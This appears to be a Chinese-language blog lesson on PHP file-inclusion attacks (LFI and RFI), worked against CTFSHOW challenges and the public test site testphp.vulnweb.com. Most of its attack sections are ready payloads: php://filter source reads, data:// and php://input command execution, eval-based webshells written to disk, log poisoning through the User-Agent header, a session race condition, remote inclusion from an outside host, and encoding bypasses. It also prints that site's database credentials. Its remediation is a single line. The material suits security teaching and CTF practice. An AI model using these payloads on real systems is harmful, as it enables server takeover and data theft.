2723 字
14 分钟
第50天:WEB攻防-PHP应用

WEB攻防-PHP应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒#

可跳转目录#

一、知识点概览#

  1. 文件包含-原理&分类&危害-LFI(本地文件包含)&RFI(远程文件包含)
  2. 文件包含-利用-黑白盒&无文件&伪协议

二、演示案例#

  • 文件包含-原理&分类&利用&修复
  • 黑盒利用-VULWEB-有无包含文件
  • 白盒利用-CTFSHOW-伪协议玩法

e8a9357ecdc0457d3853ac735b64380e

14b972cbeabf0eb2420f660a6cb5b13b

三、文件包含-原理&分类&利用&修复#

3.1 原理#

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件而无须再次编写,这种调用文件的过程称为文件包含。在包含文件的过程中,若文件路径/内容可被用户控制,则存在文件包含漏洞——被包含的文件会被当作当前脚本语言代码执行。

漏洞原因#

  1. 使用文件包含函数(如PHP的includerequire等)
  2. 包含的文件路径/内容可控(用户可篡改)

漏洞简单复现#

  1. 创建include.php文件,代码如下(危险写法):
    <?php
    // 使用include函数包含用户可控的GET参数file,存在漏洞
    include($_GET['file']);
    ?>
  2. 创建1.txt文件,内容为恶意代码:
    <?php phpinfo();?>
  3. 访问URL并传递参数:http://127.0.0.1/include.php?file=1.txt
    此时1.txt会被当作PHP脚本执行,页面显示phpinfo()信息,等同于执行include('1.txt');

image-20250831144022028

3.2 漏洞分类#

分类全称差异原因配置依赖
LFILocal File Include(本地文件包含)仅能包含服务器本地文件无特殊配置
RFIRemote File Include(远程文件包含)可包含远程服务器上的文件需开启PHP配置allow_url_include=On(默认Off)

RFI配置开启方式#

找到对应网站服务的PHP版本下的php.ini文件,将allow_url_include=Off改为allow_url_include=On(小皮面板可直接在PHP设置中调整)。
RFI复现:在远程服务器创建file.txt(内容<?php phpinfo();?>),访问URL:http://192.168.137.1:84/include.php?file=http://远程IP/file.txt,远程文件会被包含并执行。

image-20250831144613556

image-20250831144938456

ddd1f4e39deb8a2f46e8f68de860da82

9c93513642338cf21e01c7f59d156ac8

3.3 漏洞发现(黑白盒)#

3.3.1 白盒审计(CTFSHOW为例)#

通过代码层面定位漏洞,核心是搜索文件包含函数

  • PHP:includerequireinclude_oncerequire_onceinclude报错后程序继续运行,require报错后程序终止)
  • Java:java.io.Filejava.io.FileReader
  • ASP.NET:System.IO.FileStreamSystem.IO.StreamReader

审计思路

  1. 通过应用功能追踪代码(如“文件预览”“模板加载”功能)
  2. 直接搜索上述文件包含函数,检查参数是否可控
  3. 结合伪协议玩法绕过修复限制

3.3.2 黑盒分析(无代码查看权限)#

通过URL参数特征判断,重点关注含以下关键词的参数:
pathdirfilepagpagearchivepeng(语言文件参数)
判断逻辑:修改参数值(如将file=index.php改为file=test.txt),观察页面是否报错或内容变化,若存在文件内容回显/执行,则可能存在漏洞。

3.4 漏洞利用(本地&远程)#

3.4.1 本地利用思路#

1、配合文件上传(上传一个文件 文件写有我们的恶意代码)#
2、无文件包含日志#
3、无文件包含SESSION#
4、无文件支持伪协议利用#

php://input与data://都需要开启allow_url_include才能使用

14b972cbeabf0eb2420f660a6cb5b13b

参考:https://blog.csdn.net/unexpectedthing/article/details/121276653

1. 文件读取(伪协议:file://php://filter#
伪协议用法说明
file://http://192.168.137.1:84/include.php?file=file:///d:/1.txt读取绝对路径文件(Windows:d:/1.txt;Linux:/etc/passwd
php://filterhttp://192.168.137.1:84/include.php?file=php://filter/read=convert.base64-encode/resource=1.php读取相对路径文件(当前网站目录下1.php),Base64编码返回(避免乱码)
跨目录读取http://192.168.137.1:84/include.php?file=php://filter/read=convert.base64-encode/resource=../../1.txt通过../跳转上级目录读取文件

示例

  • 读取Linux系统用户文件:http://192.168.137.1:84/include.php?file=file:///etc/passwd
  • 读取phpinfo.php并Base64编码:http://192.168.137.1:84/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php(解码后得到源码:PD9waHAgcGhwaW5mbygpOz8+<?php phpinfo();?>

image-20250831155727947

image-20250831160043316

image-20250831160144104

2. 文件写入(伪协议:php://inputphp://filter/write#

注意:需代码中存在文件写入逻辑(如file_put_contents($_GET['file'],$_POST['content'])),或支持php://input协议。

伪协议用法说明
php://input1. URL:http://192.168.137.1:84/include.php?file=php://input
2. POST数据:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
向服务器写入shell.php(Webshell),通过cmd参数执行命令
php://filter/write1. URL:http://192.168.137.1:84/include.php?file=php://filter/write=convert.base64-encode/resource=phpinfo.php
2. POST数据:content=131
phpinfo.php写入Base64编码内容(需解码后生效)

image-20250831160614738

image-20250831160629124

image-20250831161552921

image-20250831161650739

image-20250831161728510

3. 代码执行(伪协议:php://inputdata://#

注意php://inputdata://需开启allow_url_include=On

伪协议用法说明
php://input1. URL:http://192.168.137.1:84/include.php?file=php://input
2. POST数据:<?php phpinfo();?>
直接执行POST数据中的PHP代码
data://(明文)http://192.168.137.1:84/include.php?file=data://text/plain,<?php phpinfo();?>直接在URL中嵌入PHP代码执行
data://(Base64)http://192.168.137.1:84/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2BBase64编码避免特殊字符被过滤(%2B+的URL编码)

image-20250831161952546

image-20250831162021122

image-20250831162054459

3.4.2 远程利用思路#

核心:搭建远程服务器,通过RFI包含远程恶意文件,实现代码执行。
前提:目标开启allow_url_include=On

  1. 远程服务器创建file.txt,内容为Webshell:
    <?php eval($_POST["pass"]);?>
  2. 目标服务器访问URL:http://192.168.137.1:84/include.php?file=http://远程IP/file.txt
  3. 使用哥斯拉/蚁剑,以pass为密码连接目标URL,获取服务器权限。

7d63f9845fb535c1538cab5bec0f6695

33722ecb266bc53cd154f32ee789a52e

77e1c59749eccca37aff46abea1c65a4

3.5 修复方案#

参考网上公开方案(如限制文件包含路径、禁用危险伪协议、关闭allow_url_include等)。

四、黑盒利用-VULWEB-有无包含文件#

目标URL:http://testphp.vulnweb.com/showimage.php?file=index.php

利用步骤#

  1. 判断漏洞存在:URL中含file参数,尝试替换参数值为index.php,访问后发现回显index.php源码,说明存在文件包含漏洞。
  2. 读取数据库配置文件:从源码中发现数据库配置文件database_connect.php,替换URL参数:http://testphp.vulnweb.com/showimage.php?file=database_connect.php
  3. 获取敏感信息:发送请求后,回显数据库配置代码,暴露数据库账号密码:
    <?PHP
    $connection = mysql_connect('127.0.0.1', 'acuart', 'trustno1')
    or die('Website is out of order. Please visit back later. Thank you for understanding.');
    mysql_select_db('acuart', $connection)
    or die('Website is out of order. Please visit back later. Thank you for understanding.');
    ?>

60cfed1e3c723306837e92a0ab0e9e96

60d2ab7ef852afae1dac010f4e6b2ac4

3df21dd40d393402b52a79390acc0a50

五、白盒利用-CTFSHOW-伪协议玩法#

目标平台:https://ctf.show/challenges(选择“web入门”系列题目)

5.1 78题-php&http协议#

题目分析#

代码含include文件包含函数,无文件上传功能,需用无文件伪协议利用。

利用方式#

方式1:文件读取(伪协议php://filter#
  • Payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
    说明:读取当前目录下flag.php,Base64解码后获取flag。
方式2:代码执行(伪协议data://#
  • 列出目录文件:?file=data://text/plain,<?php system('ls');?>(发现flag.php
  • 读取flag:?file=data://text/plain,<?php system('tac flag.php');?>
    说明:tac命令反向输出文件内容(Linux系统),直接获取flag.php中的flag。

813a0cd220bf28b8ff8c7d02ecc00fbf

475be9a83cb94a9f923deafeb8f6879d

222cae081da8e5c8152ef5811a77d6b9

关键Payload汇总#

?file=php://filter/read=convert.base64-encode/resource=flag.php
?file=php://input (POST数据:<?php system('tac flag.php');?>)
?file=http://www.xiaodi8.com/1.txt (1.txt内容:<?php system('tac flag.php');?>)

5.2 79题-data&http协议#

题目分析#

代码含include函数,无文件上传,但过滤“php”关键词。
关键知识:PHP中<?= ... ?>是短标签,等同于<?php echo ... ?>,可绕过“php”关键词过滤。

利用方式#

方式1:短标签绕过(data://#
  • 列出目录:?file=data://text/plain,<?=system('ls');?>(发现flag.php
  • 读取flag:?file=data://text/plain,<?=system('tac flag*');?>flag*匹配所有以flag开头的文件)
方式2:Base64编码绕过(data://#
  • Payload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
    说明:Base64解码后为<?php system('tac flag.php'); ?>,绕过“php”过滤。

af556a81c957ab04384fd614ad5d6efa

ca30a6cc8a39054cae5209c0d1f41774

f13fdeb896a28acf92003331e71dc7db

ef8923c8928a9c3e6fdbca2208b9007a

106af5a1b595526456d81dfcc3e87d0e

关键Payload汇总#

?file=data://text/plain,<?=system('tac flag.*');?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
?file=http://www.xiaodi8.com/1.txt (1.txt内容:<?php system('tac flag.php');?>)

5.3 80-81题-日志包含#

cce8191b95896e84cb7fd08e0c6182e1

题目分析#

代码含include函数,过滤“php”“data”关键词,需利用服务器日志文件(如Nginx访问日志)。

利用方式#

方式1:大小写绕过(PHP://input#
  • Payload:?file=PHP://input(POST数据:<?=system('ls');?>
    说明:大小写PHP://input绕过“php”过滤,执行命令列出目录(发现fl0g.php)。
  • 读取flag:?file=PHP://input(POST数据:<?=system('tac fl0g.*');?>

a5a42a4a275d013caaa0c4aa561fb784

d3907f19cf512947e0712411bf22db0a

方式2:日志包含(利用Nginx访问日志)#
  1. 读取日志路径?file=file:///var/log/nginx/access.log(Linux系统Nginx默认日志路径)。

  2. 写入恶意代码到日志
    抓包修改User-Agent头,加入PHP代码:User-Agent: 222222222<?php=system('ls')?>,发送请求后日志会记录该代码。

  3. 包含日志执行代码

    • 列出目录:?file=file:///var/log/nginx/access.log(回显fl0g.php index.php)。
    • 读取flag:修改User-Agent333333333<?php system('tac fl0g.php')?>,再次包含日志,获取flag(如ctfshow{56017f9c-6037-4f27-bd84-ed6bffd417fa})。

    5cc739276332c4e17ca89cf129a247d8

    3d36b215b7e4b569c7096127857e7022

    1fd8a63d8cf2d6b7a80528b7edd32899

    647da9c7798d7df1c01604cba30bfad8

    bab723ff9d2d0b5a12eb38550cade36e

5.4 82-86题-SESSION包含#

cf7465838ef8f955d882b91cde9a97c3

题目分析#

代码含include函数,无文件上传,需利用PHP_SESSION_UPLOAD_PROGRESS(会话上传进度)实现条件竞争包含。

核心原理#

  1. 开启session.upload_progress.enabled=On(默认开启)后,上传文件时可通过PHP_SESSION_UPLOAD_PROGRESS变量向SESSION写入内容。
  2. 用户可自定义PHPSESSID(如PHPSESSID=wusuowei),服务器会生成/tmp/sess_wusuowei文件存储SESSION内容。
  3. 由于session.upload_progress.cleanup=On(默认开启),SESSION文件会被自动清除,需条件竞争(同时上传文件+包含SESSION文件)。

利用步骤#

  1. 创建本地上传表单

    <!DOCTYPE html>
    <html>
    <body>
    <form action="http://xxxx.ctf.show/" method="POST" enctype="multipart/form-data">
    <!-- 向SESSION写入Webshell代码 -->
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1])?>')?>" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
    </form>
    </body>
    </html>

    说明:将action改为靶场URL,上传任意文件。

    063bed3c259471682ca9900929f03257

  2. 抓包与条件竞争

    • 抓包上传请求,添加Cookie:PHPSESSID=wusuowei(自定义SESSION ID)。

    f9a3d06bb53ee6089b61def1e316a996

    • 将上传包发送到Intruder,设置Payload type: Null payloads,勾选Continue indefinitely(无限发送上传请求,保持SESSION文件存在)。

    • 另抓包包含SESSION文件的请求:http://xxxx.ctf.show/?file=/tmp/sess_wusuowei,同样发送到Intruder无限发送,触发条件竞争。

  3. 连接Webshell:竞争成功后,访问http://xxxx.ctf.show/shell.php,通过POST参数1=system('tac fl0g.php')获取flag。

fb1ae134fdfe6b05364c47510a2ccbf9

39665f0df95316fce6cc7e7145524c91

bf3c9d674a0a113bb7f9f10d3ac9c450

f5279ca3fa3a30f59fc0ede9cd44fb48

7c750e346c32594390a87dd276edc5e5

参考链接#

5.5 87题-php://filter/write&加密编码#

6e1bcef9e415c1cc64fa42b59abaaa97

题目分析#

代码含urldecode($file)(二次URL解码),可绕过过滤,需通过php://filter/write结合编码写入Webshell。

利用方式#

方式1:Base64编码写入#
  1. URL编码处理:将php://filter/write=convert.base64-decode/resource=123.php进行2次URL编码(避免被过滤)。
  2. 发送POST数据content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg====
    说明:aa用于补全Base64位数(Base64需4的倍数长度),解码后为<?php @eval($_POST[a]);?>(Webshell密码为a)。
  3. 执行命令:访问http://xxxx.ctf.show/123.php,POST数据a=system('tac fl0g.php')获取flag。

61fa3a6999b5ea2cd7a54bd032ad8626

3b77b3ba18c09cbe16795c71218fb0f4

1ea76176a05ce742d9039452bfe6ea6d

bae02bd96f8b3dc5d2dd37395dce58e9

方式2:凯撒13(ROT13)编码写入#
  1. URL编码处理:将php://filter/write=string.rot13/resource=2.php进行2次URL编码。
  2. 发送POST数据content=<?cuc riny($_CBFG[1]);?>
    说明:ROT13解码后为<?php eval($_POST[1]);?>(Webshell密码为1)。

deaf93e4c0ac53e9cf1cf9dabc712c7f

4f72ac7b3cdd6e79eb6f834893670b5b

  1. 执行命令:访问http://xxxx.ctf.show/2.php,POST数据1=system('ls') 拿到目录,1=system('tac fl0g.php')获取flag。

d771d5fbb60359babe9d4f573990f6b4

a84a9bd435b12bd4f1031657177289d5

5.6 88题-data&base64协议#

4d8537346abe892a64c0ac76f64e6fff

题目分析#

过滤“PHP”及特殊符号,需生成无+=的Base64编码PHP代码。

利用方式#

  • Payload?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk
    说明:Base64解码后为<?php system('tac *.php');echo 123;?>ad,其中echo 123;?>ad(随便写,直到可以过滤)用于避免生成+=*.php匹配所有PHP文件,直接读取flag。

ec2e5b6ca1f948a57847d1892547354e

5.7 117题-php://filter/write&新的算法#

658068a54eb96655c4be25213bd0d24e

题目分析#

过滤多种编码(httpdatabase64rot13等,不区分大小写),需用convert.iconv过滤器(等同于iconv()函数,转换字符编码)。

核心原理#

convert.iconv.UCS-2LE.UCS-2BE:将UCS-2LE编码转换为UCS-2BE编码,两次转换可还原原内容。
例:<?php eval($_POST[a]);?> → 一次转换后为?<hp pvela$(P_SO[T]a;)>? → 二次转换后还原。

利用方式#

  1. Payload?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
  2. 发送POST数据contents=?<hp pvela$(P_SO[T]a;)>?
    说明:转换后为<?php eval($_POST[a]);?>(Webshell密码为a)。
  3. 执行命令:访问http://xxxx.ctf.show/a.php,POST数据a=system('tac flag.php')获取flag。

e3e635679bd8cbd1f55f1f07e2cb788e

053f65646f1e05ad9a558006bc8b2182

27be8634da6e8c7f06a971055dac0a46

参考链接#

b5557238cf2a0f800512b67523d97be4

辅助代码(编码转换验证)#

<?php
/* 将字符串 '<?php eval($_POST[a]);?> 从 UCS-2LE 编码转换为 UCS-2BE 编码*/
$result = iconv("UCS-2LE", "UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
// 经过一次反转:?<hp pvela$(P_SO[T]a;)>?
// 二次转换还原
echo "经过第二次反转:".iconv("UCS-2LE", "UCS-2BE", $result);
// 经过第二次反转:<?php eval($_POST[a]);?>
?>
第50天:WEB攻防-PHP应用
https://konwait12.github.io/my-kon-blog/posts/050web攻防/
作者
k-on!--wait
发布于
2025-08-27
许可协议
CC BY-NC-SA 4.0